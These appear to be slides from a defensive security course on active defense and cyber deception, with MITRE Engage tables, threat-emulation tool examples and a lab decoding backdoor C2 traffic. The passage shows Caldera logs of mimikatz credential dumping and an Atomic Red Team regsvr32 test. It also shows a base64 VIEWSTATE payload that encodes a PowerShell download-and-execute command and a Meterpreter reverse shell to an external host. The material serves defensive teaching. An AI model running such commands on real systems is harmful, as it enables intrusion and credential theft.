Active Defense, Offensive Countermeasures, and Cyber Deception

John Strand | Bryce Galbraith | Paul Asadoorian

© 2022 John Strand | All Rights Reserved | Version 20_02

- ***Course Virtual Machines***

Course Virtual Machines

- Let's get to know the VM

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION

Instructions on VM

This Course Is Different

- This course is different from other courses…
  - The concepts, the approach, the labs
  - Most of the labs are *not in the slides* (because we like you :-))
  - This makes them more accessible *after* class, when you need them most
  - All labs using the VM are inside the VM, within usage_docs.html
  - This means you do not have to dig through hundreds of pages to figure out how something works later
  - There are also prerecorded video walkthroughs of each lab on the USB and embedded in the usage_docs.html on the desktop!
- You're welcome! Enjoy! ;-)

MITRE Engage

WELCOME TO MITRE ENGAGE™ 0.9 BETA

Engage is a work in progress; MITRE is releasing it now because we think it is ready enough to stimulate conversations about denial, deception, adversary engagement, and the ways we defenders can use these technologies to change the game.

Due to the tremendous outpouring of community responses to our beta release, the V1 launch has been pushed to early 2022 to give our team enough time to collect and incorporate this feedback.

Love it? Hate it? Want to just chat deception? Contact Us.

What is MITRE Engage™?

MITRE Engage is a framework for discussing and planning adversary engagement, deception, and denial activities. Engage is informed by adversary behavior observed in the real world and is intended to drive strategic cyber outcomes. Engage was created to help the private sector, government, and vendor communities to plan and execute the use of adversary engagement strategies and technologies.

For a full exploration of the structure and terminology you will find in Engage, click here.

How Do You Use MITRE Engage™?

Want to better understand how Engage supports your goals? Choose from the list below to explore how Engage can support your cyber activities.

- I want to understand how denial, deception, and adversary engagement fit into my cyber strategy.
- I want to run an adversary engagement operation.
- I want to learn about how my cyber deception tooling aligns with the MITRE Engage activities.

For a more detailed look at how to get started with Engage and denial, deception, and adversary engagement technologies, click here.

What Happened to Shield?

MITRE Engage™ replaces the MITRE Shield knowledge base. Based on technical feedback from the cyber community, we've streamlined Shield to focus on the areas of denial, deception, and adversary engagement. By bookending these engagement activities with strategic planning and analysis, we hope that MITRE Engage will help organizations to better plan and implement real-world adversary engagement strategies and advance the cybersecurity ecosystem.

For a full exploration of the changes between MITRE Shield and MITRE Engage, click here.

Mapping

Home > Matrix

The Engage Matrix

The Engage Matrix displays the relationships between the various Strategic and Engagement Goals, Approaches, and Activities. Goals are found at the top row of Engage. Each Approach and Activity is assigned to a goal. Approaches are the next row down. All Activities are assigned to an Approach. Finally, Activities make up the remaining entries in Engage. Strategic Actions can be found in the far right and far left columns of Engage. Engagement Actions can be found in the central columns. By bookending Engagement Actions with Strategic Planning and Analysis, we hope that MITRE Engage™ will help organizations better plan and implement real-world adversary engagement strategies and advance the cybersecurity ecosystem.

For a full exploration of the various components of MITRE Engage™, click here.

Legend	
Engagement Actions Taken Against Your Adversary	White
Strategic Actions Taken to Support Operational Strategy	Gray

Prepare	Expose		Affect			Elicit		Understand
Planning	Collection	Detection	Prevention	Direction	Disruption	Reassurance	Motivation	Analysis
Define Exit Criteria	API Monitoring	Decoy Artifacts and Systems	Baseline	Decoy Artifacts and Systems	Decoy Artifacts and Systems	Application Diversity	Application Diversity	Distill Intelligence
Develop Threat Model	Network Monitoring	Detonate Malware	Hardware Manipulation	Detonate Malware	Isolation	Artifact Diversity	Artifact Diversity	Hotwash
Persona Creation	Software Manipulation	Network Analysis	Isolation	Email Manipulation	Network Manipulation	Burn-In	Detonate Malware	Inform Threat Model
Strategic Goal	System Activity Monitoring		Network Manipulation	Migrate Attack Vector	Software Manipulation	Email Manipulation	Information Manipulation	Refine Operation Activities
Storyboarding			Security Controls	Network Manipulation		Information Manipulation	Personas	
				Peripheral Management		Network Diversity	Network Diversity	
				Security Controls		Peripheral Management		
				Software Manipulation		Pocket Litter		

Tactics

ATT&CK® Tactics	Adversary Vulnerability Presented
Credential Access, Discovery, Defense Evasion, Privilege Escalation, Lateral Movement, Initial Access, Persistence, Collection, Execution, Command and Control, Impact, Reconnaissance	When adversaries interact with the environment or personas, they are vulnerable when they collect, observe, or manipulate system artifacts or information. Manipulated data may cause them to reveal b use additional or more advanced capabilities against the target, and/or impact their dwell time.
Credential Access, Discovery, Initial Access, Lateral Movement, Collection, Command and Control, Impact, Reconnaissance	When adversaries interact with engagement environments and personas, their future capability, targeting, and/or infrastructure requirements are vulnerable to influence.
Credential Access, Lateral Movement, Discovery, Execution, Initial Access	When adversaries use previously stolen information to access or move laterally within an environment, they may reveal previous collection activities.
Credential Access, Discovery, Lateral Movement, Initial Access, Persistence, Defense Evasion	When adversaries discover enabled, accessible, or intentionally weakened/overly permissive resources in the environment, they are vulnerable to revealing additional or more advanced capabilities wher or using said resource.
Credential Access, Exfiltration, Command and Control	When adversaries collect manipulated artifacts, they are vulnerable to revealing their presence when using or moving the artifacts elsewhere in the engagement environment.
Collection, Initial Access, Impact, Persistence, Discovery, Reconnaissance	When adversaries interact with network or system resources, they are vulnerable to triggering tripwires or engaging in easily detectable, anomalous behavior.
Exfiltration, Command and Control, Collection	When adversaries attempt to exfiltrate, manipulate, or move massive data objects, they are vulnerable to wasting resources to accomplish the task.
Command and Control	When adversaries exfiltrate data, their data are vulnerable to observation or manipulation via Man-in-the-Middle activities.
Credential Access	When adversaries use brute-force techniques to access accounts or encrypted data, they are vulnerable to wasting resources if the artifact has no valid credentials or is locked in some other way.
Persistence, Defense Evasion, Credential Access	When adversaries rely on specific resources to be enabled, accessible, and/or vulnerable, they are vulnerable to their operations being disrupted if the resources are disabled, removed, or otherwise mad invulnerable.
Initial Access	When adversaries maintain drive-by sites, they provide a pathway for beginning engagements and may be unable to differentiate real from deceptive victims.
Initial Access	When adversaries maintain drive-by sites and collect information about potential victims, they may reveal information about their targeting preferences by selecting or rejecting an arbitrary victim.
Initial Access	When adversaries maintain drive-by sites, they reveal information about their targeting capabilities.
Initial Access	When adversaries exploit a trusted relationship, such as using an account to access or move in the environment, they are vulnerable to triggering tripwires or engaging in anomalous behavior.
Initial Access	When adversaries exploit a trusted relationship, they are vulnerable to collecting and acting on manipulated data provided by the trusted party.

- ***Definitions and Disclaimers***

Disclaimer

- The tactics covered in this course *could* get you into trouble
  - But so can most activities, if not done *properly* (e.g., driving)
- The masses will impulsively state that this is a bad idea…
  - But the masses continue to fail miserably
  - If you want different results, you have to do something differently
- Make sure you vet all tactics with your legal team, human resources, and upper management first
- Get a warrant whenever appropriate
- Maintain high ethical (and legal) standards
- Don't become what you're defending against…

What Is Active Defense?

- Active Defense
  - The employment of *limited offensive action and counterattacks* to deny a contested area or position to the enemy
  - Proactive, anticipatory, and reactionary actions against aggressors
  - The adversaries are already inside your gates…
- Passive Defense
  - Measures taken to reduce the probability of and to minimize the effects of damage caused by hostile action *without the intention of taking the initiative*
  - Traditional static defenses (i.e., hope for the best)
- Prevent | Detection | Respond
  - Prevention is ideal, *but detection is a must*, and detection without response is of little value…

What Are Offensive Countermeasures?

- Offensive countermeasures employ offensive techniques as aggressors attack … *but with a defensive posture*
  - Aikido provides an excellent analogy
  - Aikido focuses on redirecting and blocking opponents' attacks while taking considerable care not to harm them in the process
  - Aikido practitioners *respond* to attacks; they do not *initiate* attacks
- Think poison, not venom
  - Poison is taken then consumed, whereas venom is injected
  - Lay traps inside *your* systems, but don't attack *theirs*
- Always ensure solid legal footing
  - Proper authorization, warrant, written approval, etc.

What Is Cyber Deception?

- Cyber deception is the deliberate and calculated process of deceiving attackers in an effort to wage a better defense
  - Slow them down, confuse them, deceive them … make them work harder
  - Serves to significantly increase your chances of detection
  - Designed to make **D**etection$_t$ + **R**eaction$_t$ < **A**ttack$_t$ **(D_t + R_t < A_t)**
- Cyber deception does not replace other efforts or layers of defense
- It should complement and feed the other layers
- Militaries have employed deception strategies since the beginning of time. Why don't we?

"Know Thy Enemy" —Sun Tzu

You!

The most advanced adversaries the world has ever known

They have turned the entire telecommunications infrastructure into a surveillance and attack platform

Make no mistake, APTs hunt administrators without mercy

They'll ensure it bypasses detection by current strategies before they ever deploy

Entire teams dedicated to attacking your organization

0-days, undisclosed exploits, advanced malware, backdoors, supply chain infiltration, spies, coercion, lawfare, etc.

"it's all just electrons…" – Cosmo from *Sneakers*

Key logging, RAM-scraping, SAT impersonation, password managers, etc.

Post-exploitation actions are adroitly executed under valid user context using normal OS features

https://en.wikipedia.org/wiki/Advanced_persistent_threat

The OODA Loop

Disrupting the OODA Loop

How to Avoid Legal Trouble

- Not everyone agrees on how to avoid trouble
  - But when does everyone agree on anything?
- A few simple tips go a long way
  - Don't put malware where it is publicly accessible
  - Prevent collateral damage
  - Make the attackers come to you first
- Use warning banners and Terms of Use (TOU)
  - It's not as hard as it might seem at first
  - Cortana is "ready to help you out." ;-)
- More on this topic later…

Warning Banners

- It is, however, *illegal* to set up lethal traps for trespassers
  - And this isn't our goal anyway (remember the Aikido analogy)
- You *can*, however, warn them of "evil" things on the network
- Access checks, authentication verification, geo-location, etc.
- Consult with a lawyer and get a warrant

Why These Skills Are Critical

- Eventually, you will need these skills
- Attackers are getting more and more brazen
  - There is very little perceived risk on their part
  - We have rules; they don't
- You might need to figure out what an attacker is seeking
- You might need to gather information about an attacker
  - Attacking from a bot-net
  - Attacking through TOR or I2P

Introductions and Standards

- ***Mourning Our Destiny, Leaving Youth and Childhood Behind***

These Are Just The Ones We Know About…

These Are Just The Ones We Know About…

Why Current Strategies Are Not Working

- Go back a few years in your minds…
- What were the recommendations then?
  - Patch, strong passwords, anti-malware, firewalls/proxies, etc.
- What are they saying now?
  - Same things with Next-Gen in front!
  - Next-Gen firewall, Next-Gen anti-malware, and so on…
  - It's gotten better (arguably), but it's reactionary by nature
- Do you see a pattern?

Top Security Product Vendors?

- What are the top three or four AV companies?
- What are the top three or four IDS companies?
- What are the top three or four firewall companies?
- What is their total market share?

SONICWALL
WatchGuard
paloalto NETWORKS
FORTINET
Juniper NETWORKS
STONESOFT Real World Business Security
CISCO
Check Point SOFTWARE TECHNOLOGIES LTD.

F-Secure
AhnLab
avast!
KASPERSKY lab
pctools
BULLGUARD
webroot
Prevx
Microsoft Security Essentials
VIPRE
ca
bitdefender
Norton from symantec
K7 Computing
Quick Heal
eset
ZoneAlarm
McAfee
AVG
RISING
PANDA
TREND MICRO
G DATA
NORMAN

Advanced Persistent Thieves (APTs)

- So who's after your electrons?
  - China?
  - Russia?
  - The Five Eyes?
  - Other nation-states?
  - Organized crime?
  - Insiders?
  - **All of the above!?**

Consider Their Capabilities

- Virtually unlimited resources (via taxpayers)
- Direct access to your electrons
- Never-ending exploits/backdoors
- Elaborate anonymization and C2
- Immunity from prosecution
  - Plausible deniability (i.e., lies)
  - Laws are for their subjects, not them…
- Highly motivated/conditioned
  - Feel it is their right/obligation/duty
  - "We do it for [insert reasons here]"

We Should Not Be Surprised

- Most good testing firms are not thwarted by traditional defenses
  - Black Hills Information Security, Layered Security, TrustedSec, and SecureIdeas bypass these defenses as a course of business
- We know nation-states are *at least* as capable (understatement)
- And their budgets eclipse security firms (thanks to taxpayers)
- It's safe to say that nation-states run circles around most defenses

BLACK HILLS INFORMATION SECURITY

Layered Security
People | Process | Technology

TRUSTEDSEC
INFORMATION SECURITY MADE SIMPLE

SecureIdeas
professionally evil

- ***Lab: Bad Guy Defenses***

Lab: Bad Guy Defenses

- What OSes are they likely to use and why?
- What obfuscation techniques?
- What about persistence mechanisms?
- What about command and control (C2)?
- What about exfiltration techniques?
- Spend the next few moments and come up with a list…

Layers are not always awesome.

You Will Be Exploited

- You should expect it. Anything less is denial…
- We focus far too much on prevention and not enough on detection and response
- Most current security technologies fail against these
  - Zero-day exploits
  - Phishing and SE
  - Advanced malware
  - Supply chain infiltration
  - Government backdoors (*sigh*)
- Expect the worst … it's real

You might want to sit down for a while.

DTE0022 Isolation Configure devices, systems, networks, etc. to contain activity and data in order to promote inspection or prevent expanding an engagement beyond desired limits.

Segmentation

- Start segmenting your internal networks
  - All the way down to the desktop level
  - And between subnets
- Pass-the-Hash attacks have worked since 1997!
- Pass-the-Ticket and Security Access Token (SAT) impersonation have worked for years, too
- Make the assumption that you are going to get compromised
- Getting compromised is acceptable because it is going to happen
- What is unacceptable is an attacker persisting for months
- What is unacceptable is an attacker pivoting from one compromised system to the rest of the network in minutes
- Consider an "infected" VLAN

DTE0022	Isolation	Configure devices, systems, networks, etc. to contain activity and data in order to promote inspection or prevent expanding an engagement beyond desired limits.
DTE0025	Network Diversity	Use a diverse set of devices on the network to help establish the legitimacy of a decoy network.
DTE0026	Network Manipulation	Make changes to network properties and functions to achieve a desired effect.

Just Your Standard Exploit

This is usually delivered as a client-slide exploit or a drive-by download.

Will These Protocols Trip IDS Alerts?

SAT impersonation
Keyloggers
MimiKatz/Kiwi
And many more…

Most Likely They Will Not

Firewalls

- Treat the internal network as hostile
  - Because it is
- Set your internal system firewalls at the same level they would be at a coffee shop
  - All inbound traffic should be blocked and alerts should be generated
  - Exceptions for Admin networks
- Segment business units and/or organizational units
  - Why allow SMB RPC between subnets?
  - Contains the attacks even further than simple firewalls
- Many of the AV products have firewalls
- You can even use the built-in Windows firewall
  - If you are sadistic and desperate
- Private VLANs can work as well

Restriction of Lateral Movement

Where are some opportunities for deception?

Detecting an Insider

- If you cannot detect an insider, your network is not secure
  - Snowden
  - Attackers using valid/existing user credentials to move around a network
- Can you detect a user accessing 1000s of files?
- Can you detect an account that is accessing 100s of systems?
  - If not, you need to
- Future targeted attacks will use far less malware than now
- Would you be able to get proper attribution for an attacker who is on your system?
  - Word Web Bugs rock for this

Threat Emulation

- Don't just think of vulnerabilities as missing patches and misconfigurations on systems
- Think post exploitation
- What happens after an attacker gains access to a system
- There are a number of free tools that will automate parts of this process
- Currently, would take a bit of tuning and trial and error
- The collected data is invaluable

Question:
What is the Difference Between Emulation and Simulation?
Does it matter?

Open Source Tool Example: Caldera

CALDERA | Threat | Networks | Operations | Debug | Script Editor | Settings | admin (Admin)

Operation Overview

Status: running | Phase: operation | Action: execution

Operation: test operation
Start Time: 11/30/2017, 8:38:57 PM
Compromised Hosts 4

Adversary: test adversary
Starting Host: win7x01
Compromised Creds 1

Operation Graph

win2012x64
win7x04
win7x03
win7x02
win7x01

Operation Details

Cancel Operation

Steps | Jobs | Artifacts | Cleanup Log | BSF

1 Enumerating the Administrators group of win7x01.mountainpeak.local
1 Enumerating the Administrators group of win7x02.mountainpeak.local
1 Mounting win7x02.mountainpeak.local's C$ network share on win7x01.mountainpeak.local with net use
1 Copying an implant from win7x01.mountainpeak.local to win7x02.mountainpeak.local
1 Starting a remote process on win7x02.mountainpeak.local using WMI
1 Running mimikatz to dump credentials on win7x02.mountainpeak.local
1 Mounting win7x03.mountainpeak.local's C$ network share on win7x02.mountainpeak.local with net use
1 Copying an implant from win7x02.mountainpeak.local to win7x03.mountainpeak.local
1 Starting a remote process on win7x03.mountainpeak.local using WMI
1 Running mimikatz to dump credentials on win7x03.mountainpeak.local
1 Mounting win7x04.mountainpeak.local's C$ network share on win7x03.mountainpeak.local with net use
1 Copying an implant from win7x03.mountainpeak.local to win7x04.mountainpeak.local
1 Starting a remote process on win7x04.mountainpeak.local using WMI
1 Running mimikatz to dump credentials on win7x04.mountainpeak.local

Open Source Tool Example: Atomic Red Team

Atomic Red Team

Execute All Attacks for a Given Technique

```
Invoke-AtomicTest T1117
```

Speficy a Process Timeout

```
Invoke-AtomicTest T1117 -TimeoutSeconds 15
```

If the attack commands do not exit (return) within in the specified `-TimeoutSeconds`, the process and it's children will be forcefully terminated. The default value of `-TimeoutSeconds` is 120. This allows the `Invoke-AtomicTest` script to move on to the next test.

Execute All Tests

This is not recommended but you can execute all Atomic tests in your atomics folder with the follwing:

```
Invoke-AtomicTest All
```

Execute All Tests from a Specific Directory

Specify a custom path to your atomics folder, example C:\AtomicRedTeam\atomics

```
Invoke-AtomicTest All -PathToAtomicsFolder C:\AtomicRedTeam\atomics
```

```
PS C:\AtomicRedTeam> Invoke-AtomicTest T1117 -TestNumbers 1 -ShowDetails
PathToAtomicsFolder = C:\AtomicRedTeam\atomics

[********BEGIN TEST*******]
Technique: Regsvr32 T1117
Atomic Test Name: Regsvr32 local COM scriptlet execution
Atomic Test Number: 1
Description: Regsvr32.exe is a command-line program used to register and unregister OLE controls.
Upon execution, calc.exe will be launched.
Attack Commands:
Executor: command_prompt
ElevationRequired: False
Command:
regsvr32.exe /s /u /i:#{filename} scrobj.dll
Command (with inputs):
regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\src\RegSvr32.sct scrobj.dll
Dependencies:
Description: Regsvr32.exe must exist on disk at specified location (C:\AtomicRedTeam\atomics\T1117
\src\RegSvr32.sct)
Check Prereq Command:
if (Test-Path #{filename}) {exit 0} else {exit 1}
Check Prereq Command (with inputs):
if (Test-Path C:\AtomicRedTeam\atomics\T1117\src\RegSvr32.sct) {exit 0} else {exit 1}
Get Prereq Command:
New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1117/src/Reg
Svr32.sct" -OutFile "#{filename}"
Get Prereq Command (with inputs):
New-Item -Type Directory (split-path C:\AtomicRedTeam\atomics\T1117\src\RegSvr32.sct) -ErrorAction
 ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1117/src/Reg
Svr32.sct" -OutFile "C:\AtomicRedTeam\atomics\T1117\src\RegSvr32.sct"
[!!!!!!!!END TEST!!!!!!!]
```

Sigma Detect

github.com/Neo23x0/sigma/blob/master/rules/windows/network_connection/sysmon_regsvr32_network_activity.yml

4 contributors

40 lines (40 sloc) 1.03 KB

```yaml
action: global
title: Regsvr32 Network Activity
id: c7e91a02-d771-4a6d-a700-42587e0b1095
description: Detects network connections and DNS queries initiated by Regsvr32.exe
references:
    - https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
    - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md
tags:
    - attack.execution
    - attack.t1559.001
    - attack.t1175  # an old one
    - attack.defense_evasion
    - attack.t1218.010
    - attack.t1117  # an old one
author: Dmitriy Lifanov, oscd.community
status: experimental
date: 2019/10/25
modified: 2020/08/24
detection:
    selection:
        Image|endswith: '\regsvr32.exe'
    condition: selection
fields:
    - ComputerName
    - User
    - Image
    - DestinationIp
    - DestinationPort
falsepositives:
    - unknown
level: high
---
logsource:
    category: network_connection
    product: windows
---
logsource:
```

Question:
How Many of You Feel Comfortable Running Tools Like Atomic Red Team?

Open Source Tool Example: Bloodhound

Threat Emulation Warning

- One of the traps of the MITRE framework and threat emulation is we train or systems to detect specific attacks
- Most of the attacks in Atomic Red Team and MITRE are representations of classes of attacks
- We are seeing vendors simply detect those attacks
  - More on this later!
- A few modifications and you can easily bypass detection

Commercial Offerings

ATTACKIQ

SCYTHE

XM CYBER

Getting Caught

Client malware detection and countermeasures			
HTTP viewstate covert channel - VSAgent; Port 443	2/1/2018 9:33	blocked	required authenticated proxy which is not compiled into client agent
DNSCat C2 channel; Port 53	2/1/2018 9:37	blocked	McAfee signature fired, and deleted malware
Metasploit HTTPS Meterpreter Shell code injected into memory via PowerShell; Port 443	1/31/2018 15:30	blocked	script would not seem to execute. No shell connection received
Metasploit TCP Meterpreter Shell code injected into memory via PowerShell (obfuscated with Unicorn); Port 443	2/1/2018 9:35	blocked	McAfee signature fired, and deleted malware
PowerShell Empire PowerShell code injected into memory; Port 443	2/1/2018 9:48	allowed	Command shell active
Raw malware EXE - Metasploit; Port 443; templated using write.exe	2/1/2018 9:56	allowed	Command shell active
Encoded malware EXE - Metasploit; Port 443; templated using write.exe	2/1/2018 9:57	allowed	Command shell active
MS-Office Document malicious macro; HTTPS port 443	2/1/2018 14:28	allowed	Command shell active
MS-Office Document malicious macro; TCP Port 8080	2/1/2018 14:34	blocked	McAffee Detected Malware
Cleartext communication with Netcat tool; Port 8443	2/1/2018 10:00	allowed	Anything that communicates with a TLS port such as 443 or 8443 is allowed through the perimeter without inspection
Metasploit Reverse TCP single stage EXE file.	2/1/2018 14:40	allowed	Command shell active
Metasplot Reverse TCP single stage Visual Basic file.	2/1/2018 14:39	blocked	McAffee Detected Malware
ICMP C2 Channel	2/1/2018 10:52	allowed	ICMP command shell established

Getting Caught 2

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Exfiltration	Command and Control
Accessibility Features	Access Token Manipulation	Access Token Manipulation	Account Manipulation	Account Discovery	Application Deployment Software	Command-Line Interface	Audio Capture	Automated Exfiltration	Commonly Used Port
AppCert DLLs	Accessibility Features	Binary Padding	Brute Force	Application Window Discovery	Distributed Component Object Model	Dynamic Data Exchange	Automated Collection	Data Compressed	Communication Through Removable Media
AppInit DLLs	AppCert DLLs	Bypass User Account Control	Credential Dumping	File and Directory Discovery	Exploitation of Vulnerability	Execution through API	Browser Extensions	Data Encrypted	Connection Proxy
Application Shimming	AppInit DLLs	Code Signing	Credentials in Files	Network Service Scanning	Logon Scripts	Execution through Module Load	Clipboard Data	Data Transfer Size Limits	Custom Command and Control Protocol
Authentication Package	Application Shimming	Component Firmware	Exploitation of Vulnerability	Network Share Discovery	Pass the Hash	Graphical User Interface	Data Staged	Exfiltration Over Alternative Protocol	Custom Cryptographic Protocol
Bootkit	Bypass User Account Control	Component Object Model Hijacking	Forced Authentication	Peripheral Device Discovery	Pass the Ticket	InstallUtil	Data from Local System	Exfiltration Over Command and Control Channel	Data Encoding
Browser Extensions	DLL Search Order Hijacking	DLL Search Order Hijacking	Hooking	Permission Groups Discovery	Remote Desktop Protocol	LSASS Driver	Data from Network Shared Drive	Exfiltration Over Other Network Medium	Data Obfuscation
Change Default File Association	Exploitation of Vulnerability	DLL Side-Loading	Input Capture	Process Discovery	Remote File Copy	Mshta	Data from Removable Media	Exfiltration Over Physical Medium	Domain Fronting
Component Firmware	Extra Window Memory Injection	Deobfuscate/Decode Files or Information	LLMNR/NBT-NS Poisoning	Query Registry	Remote Services	PowerShell	Email Collection	Scheduled Transfer	Fallback Channels
Component Object Model Hijacking	File System Permissions Weakness	Disabling Security Tools	Network Sniffing	Remote System Discovery	Replication Through Removable Media	Regsvcs/Regasm	Input Capture		Multi-Stage Channels
Create Account	Hooking	Exploitation of Vulnerability	Password Filter DLL	Security Software Discovery	Shared Webroot	Regsvr32	Man in the Browser		Multi-hop Proxy
DLL Search Order Hijacking	Image File Execution Options Injection	Extra Window Memory Injection	Private Keys	System Information Discovery	Taint Shared Content	Rundll32	Screen Capture		Multiband Communication
External Remote Services	New Service	File Deletion	Replication Through Removable Media	System Network Configuration Discovery	Third-party Software	Scheduled Task	Video Capture		Multilayer Encryption
File System Permissions Weakness	Path Interception	File System Logical Offsets	Two-Factor Authentication Interception	System Network Connections Discovery	Windows Admin Shares	Scripting			Remote File Copy

Key Takeaways

- Moving from “Can we be hacked?”
  - To..
- “What can we detect?”
- We (finally) have a framework for this with MITRE
- We also have a large number of tools in their infancy to help automate this
- Start by finding gaps. Fill them. Move on.
- Start with the framework
- This is ACTIVE

Introductions and Standards

- ***Lab: Playing with Advanced Backdoors***

Advanced Backdoors: Lab Goals

- The goal of this lab is to understand how "advanced" backdoors operate
  - Beacons and obfuscation are key for a bad guy's back door to persist
- We will look at a packet capture and decode the command and control data
- **<u>We will use the ADHD VM for this lab</u>**
- We will look at the packets and at RITA which will make it easier to detect
- The lab should take roughly 25 minutes

DTE0027	Network Monitoring	Monitor network traffic in order to detect adversary activity.
DTE0028	PCAP Collection	Collect full network traffic for future research and analysis.
DTE0031	Protocol Decoder	Use software designed to deobfuscate or decrypt adversary command and control (C2) or data exfiltration traffic.

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION

Instructions on VM

Lab: Let's Play with Advanced Backdoors

- First, go to the appropriate directory

```
adhd@adhd3 ~/tools/Enterprise_Lab
File  Edit  View  Search  Terminal  Help
adhd@adhd3 ~ $ cd /home/adhd/tools/Enterprise_Lab/
adhd@adhd3 ~/tools/Enterprise_Lab $
adhd@adhd3 ~/tools/Enterprise_Lab $
```

- Now, view the pcap file

```
adhd@adhd3 ~/tools/Enterprise_Lab
File  Edit  View  Search  Terminal  Help
adhd@adhd3 ~ $ cd /home/adhd/tools/Enterprise_Lab/
adhd@adhd3 ~/tools/Enterprise_Lab $
adhd@adhd3 ~/tools/Enterprise_Lab $ tcpdump -nA -r covert-2.pcap | less
```

Press Spacebar Until You See _VIEWSTATE

```
<html>
<head>
</head>
<body>
    <form method="post" action="">
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W3siaWQiOiI1IiwiY29tbWFuZCI6ImRpciJ9XSwiaW50ZXJ2YWwiOjMwfQ==" />
    </form>
</body>
</html>

08:43:08.905480 IP 192.168.194.128.49373 > 10.10.10.10.80: Flags [.], ack 488, w
in 63754, length 0
E..(..@...R.....



...PU.....U.P..
....
08:43:08.906172 IP 192.168.194.128.49373 > 10.10.10.10.80: Flags [F.], seq 352,
ack 488, win 63754, length 0
:
```

Beaconing

- Now, search for some SYN packets
  - # **tcpdump -r covert-2.pcap 'tcp[13] = 0x02'**

```
root@adhd:/opt# tcpdump -r ./covert-2.pcap 'tcp[13] = 0x02'
reading from file ./covert-2.pcap, link-type EN10MB (Ethernet)
08:42:38.730430 IP 192.168.194.128.49372 > 10.10.10.10.http: Flags [S], seq 2066
491435, win 8192, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
08:43:08.832511 IP 192.168.194.128.49373 > 10.10.10.10.http: Flags [S], seq 1426
120572, win 8192, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
08:43:08.940180 IP 192.168.194.128.49374 > 10.10.10.10.http: Flags [S], seq 4016
707400, win 8192, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
08:43:39.045845 IP 192.168.194.128.49375 > 10.10.10.10.http: Flags [S], seq 3989
027562, win 8192, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
08:43:39.496068 IP 192.168.194.128.49376 > yk-in-f101.1e100.net.http: Flags [S],
 seq 1431369865, win 8192, options [mss 1460,nop,wscale 8,nop,nop,sackOK], lengt
h 0
08:43:44.128842 IP 192.168.194.128.49379 > 10.10.10.10.http: Flags [S], seq 3247
037907, win 8192, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
root@adhd:/opt#
```

Grep Hidden

- **# tcpdump –nA –r covert-2.pcap | grep "hidden"**

```
root@adhd:/opt# tcpdump -nA -r ./covert-2.pcap | grep "hidden"
reading from file ./covert-2.pcap, link-type EN10MB (Ethernet)
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W10sImludGVydmFsIjozMH0=" />
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W3siaWQiOiI1IiwiY29tbWFuZCI6ImRpciJ9XSwiaW50ZXJ2YWwiOjMwfQ==" />
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W10sImludGVydmFsIjozMH0=" />
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W3siaWQiOiI2IiwiY29tbWFuZCI6ImNtZC5leGUgXC9jIFwicG93ZXJzaGVsbCAtQ29tbWFu
ZCBpZXggKE5ldy1PYmplY3Qgc3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKFxcXCJo
dHRwOlwvXC9nb28uZ2xcL2IybTl6dVxcXCIpOOludm9rZS1TaGVsbGNvZGUgLVBheWxvYWQgd2luZG93
c1wvbWV0ZXJwcmV0ZXJcL3JldmVyc2VfaHR0cHMgLUxob3N0IDIwNy41OC4yNDUuMTgwIC1McG9ydCA0
NDMgLUZvcmNlXCIifV0sImludGVydmFsIjozMH0=" />
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W10sImludGVydmFsIjozMH0=" />
root@adhd:/opt#
```

Challenge: What Is This?


```
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="eyJjb21t
YW5kcyI6W3siaWQiOiI2IiwiY29tbWFuZCI6ImNtZC5leGUgXC9jIFwicG93ZXJzaGVsbCAtQ29tbWFu
ZCBpZXggKE5ldy1PYmplY3Qgc3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKFxcXCJo
dHRwOlwvXC9nb28uZ2xcL2IybTl6dVxcXCIpOOludm9rZS1TaGVsbGNvZGUgLVBheWxvYWQgd2luZG93
c1wvbWV0ZXJwcmV0ZXJcL3JldmVyc2VfaHR0cHMgLUxob3N0IDIwNy41OC4yNDUuMTgwIC1McG9ydCA0
NDMgLUZvcmNlXCIifV0sImludGVydmFsIjozMH0=" />
```

One Possible Answer

```
root@adhd:/opt# python
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> string="eyJjb21tYW5kcyI6W3siaWQiOiI2IiwiY29tbWFuZCI6ImNtZC5leGUgXC9jIFwicG93
ZXJzaGVsbCAtQ29tbWFuZCBpZXggKE5ldy1PYmplY3Qgc3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25s
b2FkU3RyaW5nKFxcXCJodHRwOlwvXC9nb28uZ2xcL2IybTl6dVxcXCIpOOludm9rZS1TaGVsbGNvZGUg
LVBheWxvYWQgd2luZG93c1wvbWV0ZXJwcmV0ZXJcL3JldmVyc2VfaHR0cHMgLUxob3N0IDIwNy41OC4y
NDUuMTgwIC1McG9ydCA0NDMgLUZvcmNlXCIifV0sImludGVydmFsIjozMH0="
>>> base64.b64decode(string)
